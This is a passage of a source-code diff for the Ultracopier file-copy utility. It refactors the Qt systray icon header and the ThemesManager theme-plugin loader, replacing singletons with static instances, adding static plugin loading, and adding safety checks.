+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ QMenu* copyMenu; ///< Pointer on the copy menu (move or copy)
+ #else
+ QList<QAction*> actions;
+ #endif
+ QAction* actionMenuQuit; ///< Pointer on the Quit action
+ #ifdef ULTRACOPIER_DEBUG
+ QAction* actionSaveBugReport;
+ #endif
+ QAction* actionMenuAbout; ///< Pointer on the About action
+ QAction* actionOptions; ///< Pointer on the Options action
+ QIcon IconQuit; ///< Pointer on the icon for quit
+ #ifdef ULTRACOPIER_DEBUG
+ QIcon IconSaveBugReport;
+ #endif
+ QIcon IconInfo; ///< Pointer on the icon for info
+ QIcon IconAdd; ///< Pointer on the icon for add
+ QIcon IconOptions; ///< Pointer on the options
+ /// \brief To update the systray icon
+ void updateSystrayIcon();
+ void showTryCatchMessageWithNoListener();
+ struct EngineEntry
+ {
+ bool canDoOnlyCopy;
+ QString name;
+ };
+ QList<EngineEntry> engineEntryList;
+ // To store the current catch state
+ Ultracopier::ListeningState stateListener;
+ Ultracopier::CatchState statePluginLoader;
+ bool haveListenerInfo,havePluginLoaderInfo;
+ bool haveListener,havePluginLoader;
+ QTimer timerCheckSetTooltip;
+ /** \brief drag event processing (impossible with Qt on systray)
- need setAcceptDrops(true); into the constructor
- need implementation to accept the drop:
- void dragEnterEvent(QDragEnterEvent* event);
- void dragMoveEvent(QDragMoveEvent* event);
- void dragLeaveEvent(QDragLeaveEvent* event);
- */
- void dropEvent(QDropEvent *event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragEnterEvent(QDragEnterEvent* event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragMoveEvent(QDragMoveEvent* event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragLeaveEvent(QDragLeaveEvent* event);
- private slots:
- /// \brief To update the current themes
- void updateCurrentTheme();
- /** \brief To catch an action on the systray icon
- \param reason Why it activated */
- void CatchAction(QSystemTrayIcon::ActivationReason reason);
- /// \brief To catch copy menu action
- void CatchCopyQuery();
- /// \brief To catch move menu action
- void CatchMoveQuery();
- /// \brief To catch transfer menu action
- void CatchTransferQuery();
- /// \brief to retranslate the ui
- void retranslateTheUI();
- void reloadEngineList();
- void checkSetTooltip();
- signals:
- /// \brief Quit ultracopier
- void quit();
- /// \brief Try catch the copy/move with plugin compatible
- void tryCatchCopy();
- /// \brief Try uncatch the copy/move with plugin compatible
- void tryUncatchCopy();
- /// \brief Show the help dialog
- void showHelp();
- /// \brief Show the help option
- void showOptions();
- /** \brief Add window copy or window move
- \param mode Can be CopyMode::Copy or CopyMode::Move
- \return The core object of the new window created */
- void addWindowCopyMove(CopyMode mode,QString name);
- void addWindowTransfer(QString name);
- void urlDropped(QList<QUrl> urls);
+ need setAcceptDrops(true); into the constructor
+ need implementation to accept the drop:
+ void dragEnterEvent(QDragEnterEvent* event);
+ void dragMoveEvent(QDragMoveEvent* event);
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ */
+ void dropEvent(QDropEvent *event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragEnterEvent(QDragEnterEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragMoveEvent(QDragMoveEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ private slots:
+ /// \brief To update the current themes
+ void updateCurrentTheme();
+ /** \brief To catch an action on the systray icon
+ \param reason Why it activated */
+ void CatchAction(QSystemTrayIcon::ActivationReason reason);
+ /// \brief To catch copy menu action
+ void CatchCopyQuery();
+ /// \brief To catch move menu action
+ void CatchMoveQuery();
+ /// \brief To catch transfer menu action
+ void CatchTransferQuery();
+ /// \brief to retranslate the ui
+ void retranslateTheUI();
+ void reloadEngineList();
+ void checkSetTooltip();
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ void messageClicked();
+ #endif
+ signals:
+ /// \brief Quit ultracopier
+ void quit() const;
+ /// \brief Try catch the copy/move with plugin compatible
+ void tryCatchCopy() const;
+ /// \brief Try uncatch the copy/move with plugin compatible
+ void tryUncatchCopy() const;
+ /// \brief Show the help dialog
+ void showHelp() const;
+ /// \brief Show the help option
+ void showOptions() const;
+ /** \brief Add window copy or window move
+ \param mode Can be CopyMode::Copy or CopyMode::Move
+ \return The core object of the new window created */
+ void addWindowCopyMove(Ultracopier::CopyMode mode,QString name) const;
+ void addWindowTransfer(QString name) const;
+ void urlDropped(QList<QUrl> urls) const;
+ void saveBugReport() const;
};
#endif // SYSTRAY_ICON_H
diff --git a/ThemesManager.cpp b/ThemesManager.cpp
index 3881355..c47d0e0 100644
--- a/ThemesManager.cpp
+++ b/ThemesManager.cpp
@@ -1,248 +1,299 @@
/** \file ThemesManager.cpp
\brief Define the class for manage and load the themes
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#include <QString>
#include <QFile>
#include <QMessageBox>
#include "ThemesManager.h"
+#include "PluginsManager.h"
+#include "LanguagesManager.h"
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+#ifdef ULTRACOPIER_MODE_SUPERCOPIER
+#error, not done
+#else
+#include "plugins/Themes/Oxygen/ThemesFactory.h"
+#endif
+#endif
+
+#ifdef ULTRACOPIER_MODE_SUPERCOPIER
+#define ULTRACOPIER_DEFAULT_STYLE "Supercopier"
+#else
#define ULTRACOPIER_DEFAULT_STYLE "Oxygen"
+#endif
-/// \todo load each plugin to have their options
+/// \warning All plugin remain loaded
/// \todo get the current themes instance
/// \brief Create the manager and load the defaults variables
ThemesManager::ThemesManager()
{
- //load the debug engine as external part because ThemesManager is base class
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- currentPluginIndex=-1;
-
- //load the overall instance
- resources=ResourcesManager::getInstance();
- plugins=PluginsManager::getInstance();
- options=OptionEngine::getInstance();
- languages=LanguagesManager::getInstance();
-
- //connect the plugin management
- plugins->lockPluginListEdition();
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this,SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins,SIGNAL(pluginListingIsfinish()), this,SLOT(allPluginIsLoaded()),Qt::QueuedConnection);
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_Themes);
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
-
- //do the options
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("Ultracopier_current_theme"),QVariant(ULTRACOPIER_DEFAULT_STYLE)));
- options->addOptionGroup("Themes",KeysList);
-
- //load the default and current themes path
- defaultStylePath=":/Themes/"+QString(ULTRACOPIER_DEFAULT_STYLE)+"/";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Default style: "+defaultStylePath);
- currentStylePath=defaultStylePath;
- connect(options, SIGNAL(newOptionValue(QString,QString,QVariant)), this, SLOT(newOptionValue(QString,QString,QVariant)),Qt::QueuedConnection);
- connect(languages, SIGNAL(newLanguageLoaded(QString)), &facilityEngine,SLOT(retranslate()),Qt::QueuedConnection);
+ //load the debug engine as external part because ThemesManager is base class
+ stopIt=false;
+ currentPluginIndex=-1;
+
+ //connect the plugin management
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this, &ThemesManager::previouslyPluginAdded, this,&ThemesManager::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded, this,&ThemesManager::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved, this,&ThemesManager::onePluginWillBeRemoved,Qt::DirectConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeUnloaded, this,&ThemesManager::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish, this,&ThemesManager::allPluginIsLoaded,Qt::QueuedConnection);
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_Themes);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+
+ //do the options
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("Ultracopier_current_theme"),QVariant(ULTRACOPIER_DEFAULT_STYLE)));
+ OptionEngine::optionEngine->addOptionGroup(QStringLiteral("Themes"),KeysList);
+
+ //load the default and current themes path
+ defaultStylePath=QStringLiteral(":/Themes/")+QStringLiteral(ULTRACOPIER_DEFAULT_STYLE)+QStringLiteral("/");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Default style: ")+defaultStylePath);
+ currentStylePath=defaultStylePath;
+ connect(OptionEngine::optionEngine, &OptionEngine::newOptionValue, this, &ThemesManager::newOptionValue,Qt::QueuedConnection);
}
/// \brief Destroy the themes manager
ThemesManager::~ThemesManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_Themes);
- foreach(PluginsAvailable currentPlugin,list)
- onePluginWillBeRemoved(currentPlugin);
- LanguagesManager::destroyInstanceAtTheLastCall();
- OptionEngine::destroyInstanceAtTheLastCall();
- PluginsManager::destroyInstanceAtTheLastCall();
- ResourcesManager::destroyInstanceAtTheLastCall();
+ stopIt=true;
}
void ThemesManager::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_Themes)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+plugin.name);
- PluginsAvailableThemes newPlugin;
- newPlugin.plugin=plugin;
- QPluginLoader *pluginLoader=new QPluginLoader(newPlugin.plugin.path+QDir::separator()+plugins->getResolvedPluginName("interface"));
- QObject *pluginInstance = pluginLoader->instance();
- if(pluginInstance==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to load the plugin %1: %2").arg(newPlugin.plugin.path+QDir::separator()+plugins->getResolvedPluginName("interface")).arg(pluginLoader->errorString()));
- pluginLoader->unload();
- }
- else
- {
- PluginInterface_ThemesFactory *factory = qobject_cast<PluginInterface_ThemesFactory *>(pluginInstance);
- //check if found
- int indexTemp=0;
- while(indexTemp<pluginList.size())
- {
- if(pluginList.at(indexTemp).factory==factory)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Plugin already found, current: %1, conflit plugin: %2, name: %3")
- .arg(newPlugin.plugin.path+QDir::separator()+plugins->getResolvedPluginName("interface"))
- .arg(pluginList.at(indexTemp).plugin.path+QDir::separator()+plugins->getResolvedPluginName("interface"))
- .arg(newPlugin.plugin.name)
- );
- pluginLoader->unload();
- emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
- emit theThemeIsReloaded();
- return;
- }
- indexTemp++;
- }
- if(factory==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to cast the plugin: %1").arg(pluginLoader->errorString()));
- pluginLoader->unload();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("preload: %1, at the index: %2").arg(newPlugin.plugin.name).arg(QString::number(pluginList.size())));
- #ifdef ULTRACOPIER_DEBUG
- qRegisterMetaType<DebugLevel>("DebugLevel");
- connect(factory,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SLOT(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- #endif // ULTRACOPIER_DEBUG
- connect(languages,SIGNAL(newLanguageLoaded(QString)),factory,SLOT(newLanguageLoaded()));
- newPlugin.factory=factory;
- newPlugin.pluginLoader=pluginLoader;
- newPlugin.options=new LocalPluginOptions("Themes-"+newPlugin.plugin.name);
- newPlugin.factory->setResources(newPlugin.options,newPlugin.plugin.writablePath,newPlugin.plugin.path,&facilityEngine,ULTRACOPIER_VERSION_PORTABLE_BOOL);
- currentStylePath=newPlugin.plugin.path;
- pluginList << newPlugin;
- if(plugins->allPluginHaveBeenLoaded())
- allPluginIsLoaded();
- emit newThemeOptions(newPlugin.plugin.name,newPlugin.factory->options(),true,true);
- emit theThemeIsReloaded();
- return;
- }
- }
- emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
- emit theThemeIsReloaded();
+ if(plugin.category!=PluginType_Themes)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+plugin.name);
+ PluginsAvailableThemes newPlugin;
+ newPlugin.plugin=plugin;
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ PluginInterface_ThemesFactory *factory;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QObjectList objectList=QPluginLoader::staticInstances();
+ int index=0;
+ QObject *pluginObject;
+ while(index<objectList.size())
+ {
+ pluginObject=objectList.at(index);
+ factory = qobject_cast<PluginInterface_ThemesFactory *>(pluginObject);
+ if(factory!=NULL)
+ break;
+ index++;
+ }
+ if(index==objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("static themes not found"));
+ emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
+ emit theThemeIsReloaded();
+ return;
+ }
+ newPlugin.pluginLoader=NULL;
+ #else
+ factory=new ThemesFactory();
+ #endif
+ #else
+ QPluginLoader *pluginLoader=new QPluginLoader(newPlugin.plugin.path+QDir::separator()+PluginsManager::pluginsManager->getResolvedPluginName("interface"));
+ QObject *pluginInstance = pluginLoader->instance();
+ if(pluginInstance==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("unable to load the plugin %1: %2").arg(newPlugin.plugin.path+QDir::separator()+PluginsManager::pluginsManager->getResolvedPluginName("interface")).arg(pluginLoader->errorString()));
+ pluginLoader->unload();
+ emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
+ emit theThemeIsReloaded();
+ return;
+ }
+ PluginInterface_ThemesFactory *factory = qobject_cast<PluginInterface_ThemesFactory *>(pluginInstance);
+ if(factory==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("unable to cast the plugin: %1").arg(pluginLoader->errorString()));
+ pluginLoader->unload();
+ emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
+ emit theThemeIsReloaded();
+ return;
+ }
+ //check if found
+ int indexTemp=0;
+ while(indexTemp<pluginList.size())
+ {
+ if(pluginList.at(indexTemp).factory==factory)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Plugin already found, current: %1, conflit plugin: %2, name: %3")
+ .arg(newPlugin.plugin.path+QDir::separator()+PluginsManager::pluginsManager->getResolvedPluginName("interface"))
+ .arg(pluginList.at(indexTemp).plugin.path+QDir::separator()+PluginsManager::pluginsManager->getResolvedPluginName("interface"))
+ .arg(newPlugin.plugin.name)
+ );
+ pluginLoader->unload();
+ emit newThemeOptions(newPlugin.plugin.name,NULL,false,true);
+ emit theThemeIsReloaded();
+ return;
+ }
+ indexTemp++;
+ }
+ newPlugin.pluginLoader=pluginLoader;
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("preload: %1, at the index: %2").arg(newPlugin.plugin.name).arg(QString::number(pluginList.size())));
+ #ifdef ULTRACOPIER_DEBUG
+ connect(factory,&PluginInterface_ThemesFactory::debugInformation,this,&ThemesManager::debugInformation,Qt::QueuedConnection);
+ #endif // ULTRACOPIER_DEBUG
+ connect(LanguagesManager::languagesManager,&LanguagesManager::newLanguageLoaded,factory,&PluginInterface_ThemesFactory::newLanguageLoaded);
+ newPlugin.factory=factory;
+
+ newPlugin.options=new LocalPluginOptions(QStringLiteral("Themes-")+newPlugin.plugin.name);
+ newPlugin.factory->setResources(newPlugin.options,newPlugin.plugin.writablePath,newPlugin.plugin.path,&FacilityEngine::facilityEngine,ULTRACOPIER_VERSION_PORTABLE_BOOL);
+ currentStylePath=newPlugin.plugin.path;
+ pluginList << newPlugin;
+ if(PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ allPluginIsLoaded();
+ emit newThemeOptions(newPlugin.plugin.name,newPlugin.factory->options(),true,true);
+ emit theThemeIsReloaded();
+ return;
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void ThemesManager::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_Themes)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+plugin.name);
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).plugin==plugin)
- {
- if(pluginList.at(index).factory!=NULL)
- delete pluginList.at(index).factory;
- if(pluginList.at(index).pluginLoader!=NULL)
- {
- pluginList.at(index).pluginLoader->unload();
- delete pluginList.at(index).pluginLoader;
- }
- if(currentPluginIndex==index)
- currentPluginIndex=-1;
- if(index<currentPluginIndex)
- currentPluginIndex--;
- pluginList.removeAt(index);
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"plugin not found");
+ if(stopIt)
+ return;
+ if(plugin.category!=PluginType_Themes)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+plugin.name);
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).plugin==plugin)
+ {
+ if(pluginList.at(index).factory!=NULL)
+ delete pluginList.at(index).factory;
+ if(pluginList.at(index).pluginLoader!=NULL)
+ {
+ pluginList.at(index).pluginLoader->unload();
+ delete pluginList.at(index).pluginLoader;
+ }
+ if(currentPluginIndex==index)
+ currentPluginIndex=-1;
+ if(index<currentPluginIndex)
+ currentPluginIndex--;
+ pluginList.removeAt(index);
+ if(currentPluginIndex>=pluginList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"plugin is out of inder!");
+ currentPluginIndex=-1;
+ }
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"plugin not found");
}
+#endif
/** \brief To get image into the current themes, or default if not found
\param filePath The file path to search, like toto.png resolved with the root of the current themes
\see currentStylePath */
QIcon ThemesManager::loadIcon(const QString &fileName)
{
- if(currentPluginIndex==-1)
- return QIcon();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Send interface pixmap: "+fileName);
- return pluginList.at(currentPluginIndex).factory->getIcon(fileName);
+ if(currentPluginIndex==-1)
+ return QIcon();
+ if(pluginList.at(currentPluginIndex).factory==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Try get icon when the factory is not loaded");
+ return QIcon();
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Send interface pixmap: "+fileName);
+ return pluginList.at(currentPluginIndex).factory->getIcon(fileName);
}
void ThemesManager::allPluginIsLoaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(pluginList.size()==0)
- {
- emit theThemeIsReloaded();
- return;
- }
- QString name=options->getOptionValue("Themes","Ultracopier_current_theme").toString();
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).plugin.name==name)
- {
- currentPluginIndex=index;
- emit theThemeIsReloaded();
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"theme not found!");
- currentPluginIndex=-1;
- emit theThemeIsReloaded();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(pluginList.size()==0)
+ {
+ emit theThemeIsReloaded();
+ return;
+ }
+ QString name=OptionEngine::optionEngine->getOptionValue("Themes","Ultracopier_current_theme").toString();
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).plugin.name==name)
+ {
+ currentPluginIndex=index;
+ emit theThemeIsReloaded();
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"theme not found!");
+ currentPluginIndex=-1;
+ emit theThemeIsReloaded();
}
PluginInterface_Themes * ThemesManager::getThemesInstance()
{
- if(currentPluginIndex==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to load the interface, copy aborted");
- return NULL;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Send interface: "+pluginList.at(currentPluginIndex).plugin.name);
- return pluginList.at(currentPluginIndex).factory->getInstance();
+ if(currentPluginIndex==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the interface, copy aborted");
+ return NULL;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Send interface: "+pluginList.at(currentPluginIndex).plugin.name);
+ if(currentPluginIndex>=pluginList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to load the interface, internal selection bug");
+ return NULL;
+ }
+ if(pluginList.at(currentPluginIndex).factory==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"No plugin factory loaded to get an instance");
+ return NULL;
+ }
+ return pluginList.at(currentPluginIndex).factory->getInstance();
}
#ifdef ULTRACOPIER_DEBUG
-void ThemesManager::debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
+void ThemesManager::debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
{
- DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,"Theme plugin");
+ DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,QStringLiteral("Theme plugin"));
}
#endif // ULTRACOPIER_DEBUG
void ThemesManager::newOptionValue(const QString &group,const QString &name,const QVariant &value)
{
- if(group=="Themes" && name=="Ultracopier_current_theme")
- {
- if(!plugins->allPluginHaveBeenLoaded())
- return;
- if(currentPluginIndex!=-1 && value.toString()!=pluginList.at(currentPluginIndex).plugin.name)
- {
- int tempCurrentPluginIndex=currentPluginIndex;
- emit theThemeNeedBeUnloaded();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("unload the themes: %1 (%2)").arg(pluginList.at(tempCurrentPluginIndex).plugin.name).arg(tempCurrentPluginIndex));
- if(pluginList.at(tempCurrentPluginIndex).options!=NULL)
- {
- delete pluginList.at(tempCurrentPluginIndex).options;
- pluginList[tempCurrentPluginIndex].options=NULL;
- }
- if(pluginList.at(tempCurrentPluginIndex).factory!=NULL)
- {
- delete pluginList.at(tempCurrentPluginIndex).factory;
- pluginList[tempCurrentPluginIndex].factory=NULL;
- }
- if(pluginList.at(tempCurrentPluginIndex).pluginLoader!=NULL)
- {
- pluginList.at(tempCurrentPluginIndex).pluginLoader->unload();
- delete pluginList.at(tempCurrentPluginIndex).pluginLoader;
- pluginList[tempCurrentPluginIndex].pluginLoader=NULL;
- }
- }
- allPluginIsLoaded();
- //emit theThemeIsReloaded(); -> do into allPluginIsLoaded(); now
- }
+ if(group==QStringLiteral("Themes") && name==QStringLiteral("Ultracopier_current_theme"))
+ {
+ if(!PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ return;
+ if(currentPluginIndex!=-1 && value.toString()!=pluginList.at(currentPluginIndex).plugin.name)
+ {
+ //int tempCurrentPluginIndex=currentPluginIndex;
+ emit theThemeNeedBeUnloaded();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("unload the themes: %1 (%2)").arg(pluginList.at(currentPluginIndex).plugin.name).arg(currentPluginIndex));
+ /* Themes remain loaded for the options
+ *if(pluginList.at(tempCurrentPluginIndex).options!=NULL)
+ {
+ delete pluginList.at(tempCurrentPluginIndex).options;
+ pluginList[tempCurrentPluginIndex].options=NULL;
+ }
+ if(pluginList.at(tempCurrentPluginIndex).factory!=NULL)
+ {
+ delete pluginList.at(tempCurrentPluginIndex).factory;
+ pluginList[tempCurrentPluginIndex].factory=NULL;
+ }
+ if(pluginList.at(tempCurrentPluginIndex).pluginLoader!=NULL)
+ {
+ pluginList.at(tempCurrentPluginIndex).pluginLoader->unload();
+ delete pluginList.at(tempCurrentPluginIndex).pluginLoader;
+ pluginList[tempCurrentPluginIndex].pluginLoader=NULL;
+ } */
+ }
+ allPluginIsLoaded();
+ //emit theThemeIsReloaded(); -> do into allPluginIsLoaded(); now
+ }
}
diff --git a/ThemesManager.h b/ThemesManager.h
index af30ee4..1f8096d 100644
--- a/ThemesManager.h
+++ b/ThemesManager.h
@@ -1,9 +1,7 @@
/** \file ThemesManager.h
\brief Define the class to manage and load the themes
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#ifndef THEMES_MANAGER_H
#define THEMES_MANAGER_H
@@ -12,11 +10,12 @@
#include <QObject>
#include <QIcon>
#include <QList>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
#include <QPluginLoader>
+#endif
#include "Environment.h"
#include "ResourcesManager.h"
-#include "Singleton.h"
#include "OptionEngine.h"
#include "PluginsManager.h"
#include "LanguagesManager.h"
@@ -28,64 +27,61 @@
/** \brief Define the class to manage and load the themes
This class provide a core load and manage the themes */
-class ThemesManager : public QObject, public Singleton<ThemesManager>
+class ThemesManager : public QObject
{
- Q_OBJECT
- friend class Singleton<ThemesManager>;
- //public slots:
- /*/// \brief To change the current themes selected
- bool changeCurrentTheme(QString theNewThemeToLoad);*/
- public:
- /** \brief To get image into the current themes, or default if not found
- \param filePath The file path to search, like toto.png resolved with the root of the current themes
- \see currentStylePath */
- QIcon loadIcon(const QString &fileName);
- /** \brief To get if one themes instance
- \see Core() */
- PluginInterface_Themes * getThemesInstance();
- private:
- /// \brief Create the manager and load the defaults variables
- ThemesManager();
- /// \brief Destroy the themes manager
- ~ThemesManager();
- /// \brief The default themes path where it has theme's files
- QString defaultStylePath;
- /// \brief The current themes path loaded by ultracopier
- QString currentStylePath;
- /// \brief Store the object of resources manager
- ResourcesManager *resources;
- //for the options
- OptionEngine *options;
- /// \brief Store the object of languages manager
- LanguagesManager *languages;
- /// \brief Store the object of plugin manager
- PluginsManager *plugins;
- /// \brief OptionEngineGroupKey then: Group -> Key
- struct PluginsAvailableThemes
- {
- PluginsAvailable plugin;
- PluginInterface_ThemesFactory *factory;
- QPluginLoader *pluginLoader;
- LocalPluginOptions *options;
- };
- QList<PluginsAvailableThemes> pluginList;
- int currentPluginIndex;
- FacilityEngine facilityEngine;
- signals:
- /// \brief send this signal when the themes have changed
- void theThemeNeedBeUnloaded();
- void theThemeIsReloaded();
- void newThemeOptions(QString name,QWidget *,bool isLoaded,bool havePlugin);
- void previouslyPluginAdded(PluginsAvailable);
- private slots:
- /// \brief reload the themes
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- void allPluginIsLoaded();
- void newOptionValue(const QString &group,const QString &name,const QVariant &value);
- #ifdef ULTRACOPIER_DEBUG
- void debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
- #endif // ULTRACOPIER_DEBUG
+ Q_OBJECT
+ //public slots:
+ /*/// \brief To change the current themes selected
+ bool changeCurrentTheme(QString theNewThemeToLoad);*/
+ public:
+ /** \brief To get image into the current themes, or default if not found
+ \param filePath The file path to search, like toto.png resolved with the root of the current themes
+ \see currentStylePath */
+ QIcon loadIcon(const QString &fileName);
+ /** \brief To get if one themes instance
+ \see Core() */
+ PluginInterface_Themes * getThemesInstance();
+
+ static ThemesManager *themesManager;
+ /// \brief Create the manager and load the defaults variables
+ ThemesManager();
+ /// \brief Destroy the themes manager
+ ~ThemesManager();
+ private:
+ /// \brief The default themes path where it has theme's files
+ QString defaultStylePath;
+ /// \brief The current themes path loaded by ultracopier
+ QString currentStylePath;
+ /// \brief OptionEngineGroupKey then: Group -> Key
+ struct PluginsAvailableThemes
+ {
+ PluginsAvailable plugin;
+ PluginInterface_ThemesFactory *factory;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QPluginLoader *pluginLoader;
+ #endif
+ LocalPluginOptions *options;
+ };
+ QList<PluginsAvailableThemes> pluginList;
+ int currentPluginIndex;
+ bool stopIt;
+ signals:
+ /// \brief send this signal when the themes have changed
+ void theThemeNeedBeUnloaded() const;
+ void theThemeIsReloaded() const;
+ void newThemeOptions(const QString &name,QWidget *,const bool &isLoaded,const bool &havePlugin) const;
+ void previouslyPluginAdded(PluginsAvailable) const;
+ private slots:
+ /// \brief reload the themes
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ void allPluginIsLoaded();
